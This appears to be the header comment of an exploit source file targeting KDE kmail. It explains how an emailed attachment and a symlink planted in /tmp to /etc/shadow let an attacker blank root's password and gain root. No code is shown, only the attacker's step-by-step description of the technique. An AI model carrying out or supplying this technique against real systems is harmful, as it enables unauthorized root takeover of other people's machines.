/* KDE, kmail local email-attachment symlink exploit - possible root comprimise. Discovered/coded by: DiGiT - teddi@linux.is This sploit simply sends an email to somedude@somehost with an attachment on it that contains a fixed 'shadow' file that set's no password for root, change that if you need to. It then scans /proc for a kmail process and when a kmail process starts it will create /tmp/kmail`pidof kmail` and therein the dir part2 and a symlink to /etc/shadow. Then when root or whatever checks his mail the attachment, get's written over /etc/shadow, setting it so that root has no password so u can su - to get root privs. (Note: some probs with this because it writes the contents of 'shadow' attachment directly onto the shadow file itself, and might not erase the line completly, i'l fix this, later) Run this sploit with nohup or screen or smt.
